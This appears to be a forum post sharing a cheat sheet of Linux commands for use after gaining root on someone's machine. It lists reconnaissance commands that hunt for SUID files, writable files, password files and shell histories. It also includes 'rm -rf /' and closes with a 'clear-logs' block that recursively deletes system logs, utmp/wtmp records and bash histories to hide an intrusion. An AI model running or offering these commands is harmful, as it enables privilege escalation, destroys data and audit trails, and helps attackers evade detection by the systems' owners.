Few useful commands to use on rooted Linux box

So I was just reading my backups and came across this text file and with the hope that this might be helpful, I am posting the list of few useful linux commands that you might be using after rooting a Linux box. Also, I am not responsible for anything and neither is the original author. Use the commands properly with the proper knowledge.

cat ./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms
in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are
present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this
enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.
ls -l -b - Verbosly list directory's

-------------clear-logs-----------------

rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
history -c

find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;